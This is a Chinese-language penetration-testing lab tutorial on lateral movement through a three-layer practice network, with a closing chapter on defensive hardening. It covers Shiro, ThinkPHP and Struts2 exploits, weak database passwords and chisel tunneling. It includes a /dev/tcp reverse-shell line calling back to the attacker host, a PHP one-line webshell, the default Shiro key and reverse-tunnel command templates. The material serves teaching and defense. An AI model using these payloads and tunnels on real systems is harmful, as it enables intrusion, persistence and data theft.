本章介绍内网渗透(横向移动/Pivot)的核心概念,以Puff-Pastry靶场为例,讲解从边界突破到内网漫游的完整攻击链。攻击者先利用双网卡主机作为跳板,通过Shiro反序列化、ThinkPHP RCE、Struts2 OGNL注入等Web漏洞获取初始立足点,再借助Redis、MySQL、PostgreSQL等数据库弱口令读取敏感数据或写入Webshell。同时,重点阐述了chisel端口转发与SOCKS隧道技术,用于构建多级跳板,实现跨网段访问。最后,针对每类攻击点提出了对应的防御加固措施,如消除弱口令、限制数据库文件写入权限、实施内网微隔离与出网管控等,强调纵深防御与最小权限原则。整个流程覆盖侦察、入侵、横向移动、权限提升与数据收集等阶段,旨在帮助读者理解攻击者手法并提升防御能力。
第 1 章 内网渗透
内网渗透(横向移动 / Pivot)的本质:攻击者先拿到一台能“看见”内网的机器(跳板机),再利用这台机器去探测、访问、渗透它身后的内网。这台跳板机往往是双网卡主机——它同时连通两个不同的网段,我们就是顺着这些“桥”一层一层往里走。
攻击链模型
通常把一次这样的攻击分为六步(对应本教材的章节):
步骤
术语
本靶场的具体动作
章节
1
侦察/指纹识别
识别 `8080` 是 Shiro
第 3 章
2
初始入侵
Shiro 反序列化 RCE(拿 root shell)
第 3 章
3
建立据点
反弹 shell、上传 fscan
第 3 章
4
横向移动
逐层发现并攻陷 ThinkPHP、Redis、phpMyAdmin、Struts2、Postgres
第 4~6 章
5
权限提升/数据收集
读各主机/数据库的 flag
各章
6
持久化/清迹
(本靶场未深入,属进阶主题)
扩展
本实验三个并行的技能主线:
1.4 实验环境与准备
1.4.1 靶场网络拓扑
1.4.2 主机资产一览
层
主机
内网地址
关键端口
漏洞/弱点
flag 位置
1
Shiro
192.168.100.3
8080
Shiro RememberMe 反序列化
`/flag.txt`
1↔2
ThinkPHP
100.2 / 101.3
80, 9000
ThinkPHP 5.0.23 RCE
`/flag.txt`
2
Redis
10.85.101.2
6379
弱口令 `12345`
键 `flag`
2↔3
phpMyAdmin
101.4 / 102.4
80, 9000
root/root + 写 Webshell
数据库/Shell
3
Struts2
172.56.102.3
8080, 8009
Struts2 S2-045/046
主机文件
3
Postgres
172.56.102.2
5432
弱口令 postgres/password
表 `flag`
1.4.3 攻击机所需的工具
工具
用途
获取
ShiroAttack2
Shiro 反序列化利用
GitHub
thinkphp_gui_tools
ThinkPHP 漏洞利用
GitHub
Struts2VulsScanTools
Struts2 漏洞利用
GitHub
fscan
综合扫描
二进制下载到 Kali
chisel
端口转发/SOCKS 隧道
二进制下载到 Kali
redisbrute
Redis 爆破
GitHub/二进制
redis-cli / pgcli
数据库客户端
`apt install`/Kali 自带
proxychains4
强制程序走 SOCKS
`apt install proxychains4`
pwncat-cs / nc
反弹 shell 监听
Kali 自带 / `pip install`
蚁剑 AntSword
Webshell 管理
官网下载
准备一个简易 HTTP 文件服务器(把 fscan、chisel 等放在同一目录下):
第 2 章 漏洞与隧道原理
2.1 Shiro RememberMe 反序列化
2.1.1 背景:什么是「记住我」
Web 应用常提供「记住我」功能:用户下次访问不用再输密码。实现方式是把登录状态序列化成一个对象,加密后放进 Cookie(Shiro 里叫 rememberMe)。下次访问时,服务端读取 Cookie → 解密 → 反序列化成对象 → 恢复会话状态。
2.1.2 漏洞成因
问题出在第 ⑤ 步反序列化和 ② 步加密:
于是攻击者可以:
这就是 Shiro 反序列化(CVE-2016-4437,俗称 Shiro-550)。
2.1.3 Gadget 链(利用链)是什么
Java 反序列化漏洞的关键是:找到一个「从 readObject() 一路走到 Runtime.exec()」的类组合,叫做 Gadget Chain(利用链)。常见的有:
这些链本质是利用 HashMap、DynamicProxy、TemplatesImpl、InvokerTransformer 等对象的反射回调,逐级把「读对象」变成「执行方法」。
2.1.4 ShiroAttack2 工具怎么工作的
理解了原理,就能看懂工具:
工具能力
背后原理
**爆破密钥**
用常见密钥字典(含 `kPH+bIxk5D2deZiIxcaaaA==`)逐一尝试解密并检测回显
**Gadget 探测**
用不同利用链生成的 payload 打一遍,看谁触发命令执行
**回显执行命令**
通过请求响应直接「看到」命令结果,不用依赖外带回连
**注入内存马**
在运行中的应用内注入一段恶意 Servlet/Filter,作为持久化后门
2.1.5 防护要点
2.2 Struts2 OGNL 注入
2.2.1 背景:OGNL 与 ValueStack
Apache Struts2 用 OGNL(Object-Graph Navigation Language) 把 HTTP 请求里的参数名/值绑定到后台 ValueStack(值栈)里的对象上。OGNL 是一种表达式语言,能导航对象图、调用方法、访问静态成员。
如果框架错误地把「用户可控的字符串」当 OGNL 表达式去求值,攻击者就能注入恶意表达式执行任意命令。
2.2.2 S2-045 与 S2-046(CVE-2017-5638)
Struts2 的 Jakarta 文件上传组件在解析上传请求时,会把 Content-Type 头(S2-045)或 Content-Disposition/文件名(S2-046)作为 OGNL 表达式求值。
攻击载荷长这样(概念示意):
其中用 # 引用上下文,用 %{...} / ${...} 触发表达式求值。这个 #context['xwork.MethodAccessor'] 之类的东西放开访问控制后,就能调到 Runtime 执行系统命令。
S2-045 与 S2-046 的关系:二者机制几乎相同、同属 CVE-2017-5638,区别只在触发点:
2.2.3 防护要点
2.3 ThinkPHP 方法调用 / 过滤器 RCE
2.3.1 背景
ThinkPHP 5(PHP 框架)的路由分发会让请求参数去调用对应的控制器/方法。当框架**允许用户控制“调用哪个类、哪个方法、传什么参数”**,且没做白名单限制时,就能触发任意方法调用 → 命令执行。
2.3.2 两种常见利用手法
① invokefunction 方法调用 RCE(ThinkPHP 5.x 早期)
通过路由参数让 think\App::invokefunction 调用任意函数:
② __construct + filter 过滤器 RCE(ThinkPHP 5.0.x 特定版本)
ThinkPHP 的 Request 类有个 filter 属性用于对输入做“过滤处理”。如果攻击者通过 HTTP 方法 _method=__construct 篡改 filter 为 system,并把一个方法置为 get,再去触发某个输入,就会用 system 处理该输入 → 命令执行。
这对应 writeup 里的 tp5_construct_code_exec_1/2。
2.3.3 Session 包含 RCE(tp5_session_include)
ThinkPHP 会把会话(session)序列化存储到本地文件(位于 runtime/)。如果攻击者能:
那 PHP 就会把 session 文件里的代码当 PHP 执行。这就是 tp5_session_include。
2.3.4 防护要点
2.4 数据库弱口令与文件写入
2.4.1 Redis:键值数据库与 AUTH
Redis 是内存键值数据库,默认无认证。若配置了 requirepass,客户端需用 AUTH <密码> 认证。
为什么弱口令危险:
2.4.2 MySQL:secure_file_priv 与 INTO OUTFILE
MySQL 允许把查询结果写入服务器文件:
但受全局变量 secure_file_priv 限制:
`secure_file_priv` 值
含义
为空 `""`
**不限制**,可写任意路径(本靶场就是这种)
为某目录
只允许写入该目录
`NULL`
禁止写文件
利用链(把数据库权限升级为 Web 权限):
一句话木马:<?php @eval($_POST["shell"])?> —— 接收 POST 参数 shell 并 eval 执行,是 WebShell 的极简形式。
2.4.3 PostgreSQL:超级用户与 pg_hba.conf
PostgreSQL 的默认超级用户是 postgres。若命中弱口令(如 postgres:password),就能以超级用户登录,遍历所有数据库/表。
**安全配置项 pg_hba.conf**:控制“哪些客户端、哪些库、哪些认证方式可以连”。如果配成 trust,甚至不需要密码。生产环境应限制来源网段并要求 scram-sha-256 等强认证。
2.4.4 防护要点
2.5 内网隧道与多级跳板(Pivot)原理
2.5.1 为什么需要隧道
内网主机之间可以互相通信,但攻击机(Kali)与内网主机之间被防火墙/NAT 隔开,这就带来两种典型的连通性问题:
隧道就是借助一台已受控、能同时与内外网通信的机器(跳板),把攻击流量「搬」进内网,或者把内网流量「搬」出来。
2.5.2 双网卡主机 = 天然桥梁
这台机器既在网段 A,又在网段 B,是天然的中转站。我们把工具放到它上面、或让它帮忙转发流量,就能从 Kali 一路访问到最内层。
2.5.3 正向隧道 vs 反向隧道(chisel 的两种模式)
正向(Forward):chisel client <server> <local>:<remote>—— 在客户端监听本地端口,连到 remote(服务端可达的目标)。
反向(Reverse,用 R: 前缀):让目标机主动回连攻击机的 chisel 服务端,再由服务端开端口映射到目标机能访问的地址。
场景
为什么要用反向
内网机无法出网
无法主动连 Kali,反向走不通,只能用正向让 Kali 去连它(前提是 Kali 能到它)
内网机能出网
用反向,让目标连回 Kali,绕开「NAT 挡掉外部入站连接」的限制
判断口诀:
2.5.4 SOCKS 代理:一次打通整个网段
单端口转发一次只能「搬」一个服务。如果内网里服务很多,更好的做法是搭一个 SOCKS5 代理:
然后攻击机上的 proxychains4 会强制让任意程序(比如 pgcli、redis-cli、curl)把流量走这个 SOCKS 代理,于是就能访问整个内网网段。
2.5.5 多级跳板(三层嵌套)
当网络不止一层时,就要一层一层地「搭桥」。以本靶场为例,Kali 要访问第 3 层 172.56.102.0/24,需要:
关键理解(writeup 的 warning 点):在更内层,代理主服务器地址不能用 Kali,而必须是已经建立起端口转发的更内层跳板(这里是 phpMyAdmin)。因为第 3 层根本连不上 Kali,它只能连到「离它最近、已受控的那台」。
为什么这样嵌套:
2.5.6 隧道工具的选型
工具
特点
适合
chisel
单个二进制、TCP/UDP、支持 SOCKS 和端口转发、抗审查
小环境、需要 SOCKS/多端口时首选
frp
功能全面、配置化
生产/复杂转发
ssh 隧道
系统自带、`-L`/`-R`/`-D`
有 SSH 权限时最简洁
nps / reversh
反向代理
需要 Web 管理界面
本教材统一用 chisel(单一二进制、跨平台、命令简洁)。
第 3 章 阶段一:突破边界 —— Shiro
3.1 本章学习目标
3.2 前置知识
3.3 为什么这样打
入口只有 8080,且从响应包看到 RememberMe —— 这是 Shiro 反序列化的强指纹。先确认框架,才能选对工具,避免对着一个非 Shiro 应用浪费时间。拿下它之后,我们要做两件事:反弹 shell(拿交互) 和 内网扫描(找下一个目标)。
3.4 实验准备
3.5 分步操作
步骤 1:识别 Shiro 指纹
抓取请求包,确认请求头/响应里出现 RememberMe:
预期:看到 rememberMe 字段 → 触发 Shiro 反序列化利用。
说明:这就是 §2.1 讲的"给我一个能序列化对象的地方",rememberMe 就是入口。
步骤 2:用 ShiroAttack2 利用
打开 ShiroAttack2,填入目标地址(如 http://<入口IP>:8080),先检测/爆破密钥,命中后选择回显执行命令。
预期:工具提示命中默认密钥 kPH+bIxk5D2deZiIxcaaaA==,能直接执行命令。
为什么先爆破密钥:Shiro 必须用对的 AES 密钥加密 payload。ShiroAttack2 会自动尝试常见密钥字典,命中后即可构造合法 Cookie。
步骤 3:读取第一个 flag
说明:验证"反序列化 → 文件读取"这条路径走得通。
步骤 4:反弹 shell(获得交互)
Kali 上监听:
为什么用 base64:直接 bash -c "/bin/bash -i >& /dev/tcp/.../9999 0>&1" 里的引号、重定向、& 在传输/转义时容易出错。先 base64 编码再落地,能规避特殊字符问题,payload 也更"干净"(不引起终端字符转义混乱)。
预期:whoami 返回 root(WriteUp 示例为 root)。
步骤 5:内网扫描(上传 fscan)
ifconfig 的意义(关键):先弄清楚"我在哪个网段、有几个网卡",才知道还能打谁。
fscan 探测出第 1 层结构:
读懂输出:
第 1 层结论:Thinkphp 192.168.100.2、Shiro 192.168.100.3。
3.6 常见排错
现象
可能原因
处理
ShiroAttack2 检测不出漏洞
不是 Shiro / 密钥不在字典
检查是否是 `rememberMe`;手动扩展密钥字典
反弹 shell 不通
目标不能出网 / 端口错
确认是否能连;改正向监听或走中转隧道
fscan 下载慢/失败
HTTP 文件服务器没起 / 目录不对
`python3 -m http.server 80` 在 `/tools`;确认文件名
`ifconfig` 显示网卡少
有的环境用 `ip a`
用 `ip a` / `ip addr` 补充查看
3.7 本章小结
3.8 思考题与练习
第 4 章 阶段二:横向移动 —— ThinkPHP
4.1 本章学习目标
4.2 前置知识
4.3 为什么这样打
Shiro(100.3)能访问 192.168.100.2(同网段),但 Kali 不能直接访问。所以先用 chisel 把 192.168.100.2:80 共享到 Kali 本地端口 10001;Kali 就能像访问本地一样访问这个内网 Web 服务。然后对 ThinkPHP 打 RCE,拿到 www-data shell,再扫描发现第 2 层。
4.4 实验准备
4.5 分步操作
步骤 1:Shiro 端口转发(把 ThinkPHP 的 80 端口映射到 Kali 本地)
Kali 端启动 chisel 反向服务端:
Shiro 端(目标机)建立反向转发:
Kali 端看到:
命令解读:
结果:http://127.0.0.1:10001 等价于内网 http://192.168.100.2。
步骤 2:ThinkPHP 漏洞检测与利用
用 thinkphp_gui_tools 指向 http://127.0.0.1:10001,先检测:
确认后选最稳的一条进行命令执行 / getshell。
步骤 3:读取第二个 flag
步骤 4:ThinkPHP 反弹 shell
ThinkPHP 能出网,直接反弹:
说明:www-data 是 Web 用户,权限略低于 root,但足以进行内网扫描和后续渗透。
步骤 5:ThinkPHP 内网扫描(发现第 2 层)
fscan 探测出第 2 层结构:
第 2 层结论:phpMyAdmin 101.4、Thinkphp 101.3、Redis 101.2。
4.6 常见排错
现象
可能原因
处理
chisel 连接失败
端口/目标错、`--reverse` 未开
检查服务端 `-p 1331 --reverse`;客户端指向正确 IP
转发成功但访问 10001 无响应
ThinkPHP 服务没跑 / 映射错
用 curl 测 `curl http://127.0.0.1:10001`
thinkphp_gui_tools 检测不到
打到了错误的地址(没走转发)
确认打的是 `127.0.0.1:10001`,不是内网 IP
反弹 shell 执行了但没回连
目标出网受限 / 端口
换监听端口;或改用正向 / 让更外层主机中转
4.7 本章小结
4.8 思考题与练习
第 5 章 阶段三:横向移动 —— Redis 与 phpMyAdmin
5.1 本章学习目标
5.2 前置知识
5.3 为什么这样打
第 2 层服务多(Redis、phpMyAdmin),直接建 SOCKS 代理一劳永逸。之后:
5.4 实验准备
5.5 分步操作
步骤 1:ThinkPHP 建立 SOCKS 隧道
说明:R:0.0.0.0:10002:socks 让 Kali 的 127.0.0.1:10002 变成 SOCKS5 代理,走 ThinkPHP 访问整个 10.85.101.0/24。
步骤 2:Redis 端口转发 + 爆破
单独把 Redis 6379 转发出来:
为什么单独转发 Redis:爆破/连接 Redis 需要一个稳定的直连通道;把它映射到 Kali 本地 16379,比走 SOCKS 更可控。redisbrute 用 rockyou.txt(Kali 自带字典)尝试常见密码。
步骤 3:读取 Redis flag
说明:-a 用密码认证(会警告命令行明文暴露密码,仅教学环境可接受;生产用交互式 AUTH)。KEYS * 枚举所有键,GET 取值。
步骤 4:phpMyAdmin 弱口令登录
浏览器设置代理(SOCKS)访问 http://10.85.101.4/:
预期:成功进入 phpMyAdmin。
步骤 5:读取 MySQL 中的 flag
在数据库里找到相应的 flag 记录(SELECT * FROM ...)。
步骤 6:MySQL 写入 Webshell
先确认可写路径:
看到 secure_file_priv 为空 → 允许任意路径写入。然后写一句话木马:
浏览器访问 /shell.php 确认文件已生成;再用蚁剑连接,密码 shell。
为什么能成功:三前提同时满足——secure_file_priv 为空、Web 根目录可被 MySQL 写入、知道 Web 根路径(/var/www/html)。
步骤 7:phpMyAdmin 反弹 shell(借外层转发)
phpMyAdmin 在隔离内网不能直接连 Kali,所以让 ThinkPHP 做一层转发:
流量链路:
Kali 监听:
为什么这样能通:phpMyAdmin 连不到 Kali,但它能连到同网段的 ThinkPHP(能出网、且已与 Kali 建立了隧道)。ThinkPHP 用 8888:0.0.0.0:8888 把“流量转发到 Kali 8888”;phpMyAdmin 反弹到 ThinkPHP:8888,ThinkPHP 再一路转发回 Kali。这就是多级跳板 + 反向转发的实战示例。
步骤 8:phpMyAdmin 内网扫描(发现第 3 层)
fscan 探测出第 3 层结构:
第 3 层结论:phpMyAdmin 102.4、Postgres 102.2、Struts2 102.3。且拿到两个情报:Postgres 弱口令 postgres:password、Struts2 存在 struts2_045。
5.6 常见排错
现象
可能原因
处理
浏览器走代理访问 phpMyAdmin 失败
SOCKS 未配 / 代理端口错
检查 `127.0.0.1:10002` 是否在监听;浏览器代理指向它
`INTO OUTFILE` 报权限错
`secure_file_priv` 非空 / 目标目录不可写
先查 `%secure%`;换可写目录或确认目录权限
蚁剑连接不上
路径/密码错、文件被删
确认访问 `/shell.php` 正常返回 200;密码 `shell`
反弹 shell 不通
phpMyAdmin 连不到 ThinkPHP / 转发没起
先确认 ThinkPHP 上 8888 转发在监听,再让 phpMyAdmin 反弹
fscan 扫描不全
网段名写错 / 目标没回显
用 `-h 172.56.102.0/24` 完整网段
5.7 本章小结
5.8 思考题与练习
第 6 章 阶段四:二层内网 —— Struts2 与 Postgres
6.1 本章学习目标
6.2 前置知识
6.3 为什么这样打
最内层 172.56.102.0/24 是“二层内网”,它既连不上 Kali,也不能直接访问外网的代理服务器。所以要:
6.4 实验准备
6.5 分步操作
步骤 1:ThinkPHP 上做端口透传
含义:ThinkPHP 连回 Kali:1331,并监听自身的 1331,把收到的流量接到 Kali:1331。相当于给“更深层的 phpMyAdmin”开一条“能到达 Kali 主服务端”的路。
步骤 2:phpMyAdmin 上建立 SOCKS 隧道
把 chisel 传到 phpMyAdmin 后执行:
Kali 端看到 session#20: tun: proxy#R:10005=>socks: Listening。
为什么代理主服务器地址用 10.85.101.3:1331(ThinkPHP)而不是 Kali:phpMyAdmin 在第 2 层,连不到外网 Kali,但它能连到 ThinkPHP(同网段且已建立到 Kali 的隧道)。所以 phpMyAdmin 把“到 Kali 的连接”交给 ThinkPHP 中转。
步骤 3:Struts2 漏洞利用(S2-045/046)
通过 SOCKS 访问 172.56.102.3:8080,用 Struts2VulsScanTools 检测并利用。
工具详解:abc123info/Struts2VulsScanTools —— 在 GUI 里配置目标与漏洞种类,一键执行命令(本质是构造 OGNL payload 打 S2-045/046)。
预期:能执行命令,读取该主机上的 flag。
步骤 4:读取 Struts2 主机上的 flag
步骤 5:Postgres 弱口令登录并读 flag
fscan 已给出 postgres:password。通过 SOCKS 访问 172.56.102.2:5432:
为什么能成:postgres 是 PostgreSQL 超级用户,弱口令 password 一猜即中;登录后即可遍历所有数据库和数据表。
命令说明:
第 5 个/最后 flag:从 Postgres 的 flag 库 flag 表读出。至此全部目标(第 1、2、3 层的主机与数据库)已拿下。
6.6 常见排错
现象
可能原因
处理
第 3 层连不通
第 2 层代理主服务器地址写成了 Kali
改成 `10.85.101.3:1331`(ThinkPHP)
SOCKS 没建立
chisel 没传到 phpMyAdmin / 端口透传失败
先确认 ThinkPHP 上 1331 转发在监听;把 chisel 传到 phpMyAdmin
Struts2 打不进
走的不是 SOCKS / 版本差异
确认 proxychains 配置;切换工具或漏洞链
Postgres 登录失败
密码错 / 没走代理
确认 `postgres:password`;用 `proxychains4` 前缀
`\l` 或 `\dt` 无输出
连的库不对 / 权限
`\c flag` 后再 `\dt`;确认是超级用户
6.7 本章小结
6.8 思考题与练习
第 7 章 综合防御与加固
7.1 逐项对照(攻击点 vs 防御点)
攻击点
根本失误
对应加固
Shiro 反序列化
默认/硬编码 AES 密钥 + unsafe 反序列化
随机密钥、升级到修复版、Cookie 白名单校验
ThinkPHP RCE
路由/方法调用未白名单
升级到修复版本、禁用 `invokefunction`、控制器/路由白名单
Struts2 S2-045/046
Jakarta 上传组件 OGNL 注入
升级到修复版本、禁用/替换解析器、用 WAF 拦截 OGNL 特征
Redis 弱口令
`requirepass` 设置过弱
强口令 + 仅绑定内网 + 失败限速
MySQL `INTO OUTFILE`
`secure_file_priv` 为空 + Web 目录可写
设置受控目录、Web 根目录不可被数据库写入
phpMyAdmin root/root
弱口令 + 管理后台暴露在外
强口令、限制来源 IP、最小权限、关闭公网暴露
Postgres 弱口令
`postgres:password`
强口令 + `pg_hba.conf` 限制来源 + 强认证
横向移动/内网漫游
内网无分区 + 双网卡跨网段直连
内网微隔离、防火墙、限制跳板机同时暴露多个网段
反弹/反向隧道
目标机可以自由出网
出网白名单/SNI 管控,阻断反向连接
工具投递(wget)
目标机能访问攻击机的 HTTP
尽量收紧目标机对外的访问
7.2 核心防御原则
7.3 可以落地的检测规则(示例)
附录 A 工具速查表
工具
类型
作用
本教材用法
ShiroAttack2
漏洞利用
Shiro 反序列化(密钥爆破/Gadget/内存马/回显)
打入口 8080
thinkphp_gui_tools
漏洞利用
ThinkPHP 多漏洞 GUI 利用
打 ThinkPHP 5.0.23
Struts2VulsScanTools
漏洞利用
Struts2 扫描 + 命令执行
打 S2-045/046
fscan
发现/评估
存活+端口+Web 标题+PoC+弱口令
逐层扫内网 / 报弱口令
chisel
隧道
端口转发 + SOCKS,支持反向
多级跳板的核心
proxychains4
隧道
强制任意程序走 SOCKS
让 pgcli/curl 访问内网
redisbrute
爆破
Redis AUTH 爆破
爆破出 `12345`
redis-cli
客户端
Redis 命令行
`KEYS *`+`GET` 读 flag
pgcli
客户端
PostgreSQL 交互客户端
弱口令登录读库
pwncat-cs / nc
后渗透
反弹 shell 管理/监听
监听反弹 shell
蚁剑 AntSword
后渗透
Webshell 管理/文件/虚拟终端/代理
连一句话木马
`base64`+`/dev/tcp`
技巧
免特殊字符的反弹落地
跨主机反弹的标准手法
`wget`+`http.server`
投递
目标机下载工具
把 fscan/chisel 传进内网
A.1 chisel 命令对照
场景
客户端命令(目标机)
含义
反向端口转发
`chisel client <kali>:1331 R:0.0.0.0:<本地端口>:<内网ip>:<port>`
Kali 开端口,映射到目标机能访问的内网服务
SOCKS 代理
`chisel client <kali>:1331 R:0.0.0.0:<本地端口>:socks`
Kali 开 SOCKS5,经目标机访问任意内网地址
端口透传(接力)
`chisel client <kali>:1331 <本地端口>:<远端端口>`
让更深层的主机能“接力”到主服务端
服务端(Kali)
`chisel server -p 1331 --reverse`
开启反向隧道服务端,接受内网回连
A.2 fscan 关键输出符号
符号
含义
`(icmp) Target ... is alive`
ICMP 存活探测结果
`:port open`
端口开放
`WebTitle`
Web 标题/指纹
`InfoScan`
信息(如 phpMyAdmin)
`PocScan`
命中已知 PoC/CVE
`Postgres:...:password`
弱口令扫描命中
附录 B 术语表
术语
含义
**Pivot(跳板/摆渡)**
以已控主机为中转,访问其身后的内网
**横向移动(Lateral Movement)**
从一台机器跳到同网段或相邻网段的其他机器
**双网卡主机**
同时连通两个网段的机器,是天然的桥和临界点
**端口转发**
把某台主机端口的流量转发到另一地址,实现「搬运」
**反向隧道(Reverse Tunnel)**
目标机主动连回攻击机,绕过「NAT/防火墙挡入站」
**SOCKS 代理**
支持任意 TCP 应用走代理的协议,一次打通整个网段
**反序列化(Deserialization)**
把字节流还原成对象;漏洞在于还原过程的可信性未经校验
**Gadget Chain(利用链)**
从 `readObject()` 走到 `Runtime.exec()` 的一系列类组合
**OGNL**
Struts2 的表达式语言,可导航对象、调用方法;注入可致 RCE
**表达式注入**
把用户输入当代码/表达式求值,导致命令执行
**`INTO OUTFILE`**
MySQL 把查询结果写成服务器文件的语法
**`secure_file_priv`**
控制 MySQL 可写文件路径的全局变量;为空=不限制
**一句话木马**
极简 WebShell,如 `<?php @eval($_POST["shell"])?>`
**WebShell**
可通过 Web 访问、维持对服务器控制的脚本
**`proxychains`**
强制任意程序通过 SOCKS/HTTP 代理转发流量的工具
**Fingerprint(指纹)**
通过响应特征识别应用/框架,如 `RememberMe`、`X-Powered-By`
**Kill Chain(攻击链)**
从侦察到入侵、横向、数据窃取的攻击阶段模型
附录 C 参考资料与扩展阅读